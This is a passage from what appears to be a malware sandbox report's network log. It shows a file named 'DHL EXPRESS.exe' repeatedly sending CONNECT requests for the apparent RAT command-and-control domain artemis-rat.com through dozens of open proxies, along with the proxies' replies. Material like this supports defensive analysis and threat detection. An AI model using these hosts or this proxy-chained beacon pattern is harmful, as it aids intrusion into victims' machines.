Mar 11, 2024 18:37:25.919755936 CET	269	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.8	53875	146.59.18.246	9755	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.313618898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.065814972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269227028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.363079071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.456767082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.565908909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.8	54189	163.172.144.132	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.314315081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.8	54213	51.15.210.79	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.339262962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.8	54195	164.77.240.27	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.342514992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.065772057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.066035986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.957432985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.883259058 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.8	52816	131.186.37.99	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.344104052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.8	54239	203.222.24.36	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.344886065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.637077093 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.8	49953	103.76.253.66	3129	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.347397089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.456660032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.456722975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.456693888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.8	53874	103.148.51.19	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.349986076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.8	54211	94.131.14.66	1081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.359833956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.8	54201	103.166.141.74	20074	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.382411003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.756692886 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.8	54165	89.218.8.152	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.384361029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.8	54173	49.254.240.252	21028	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.385597944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.269295931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.566046000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.066530943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.176575899 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.8	52448	128.199.187.210	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.426753998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.768584013 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.8	54247	27.96.235.171	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.440907955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.8	54259	164.132.112.254	44664	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.441541910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.269185066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.8	54245	103.23.100.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.469860077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.8	54207	41.65.55.28	1976	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.475771904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.269437075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.457426071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769316912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.269077063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.769253016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.268925905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.268982887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.190702915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.8	54273	3.123.150.192	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.475773096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.780281067 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:52 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.8	54251	111.90.150.109	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.477144003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.8	54305	104.20.51.99	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.477364063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.631705046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.8	54244	188.166.17.18	8881	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.477602005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1480	192.168.2.8	54307	172.67.181.149	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.477858067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.632184982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.8	53970	74.119.144.60	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.478071928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.8	54319	172.67.181.107	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.478071928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.632776976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.8	54282	37.27.6.46	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.478918076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.269272089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269536018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261692047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.269048929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.269143105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.269079924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.065753937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.690711021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.8	52890	217.52.247.86	1981	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.479062080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
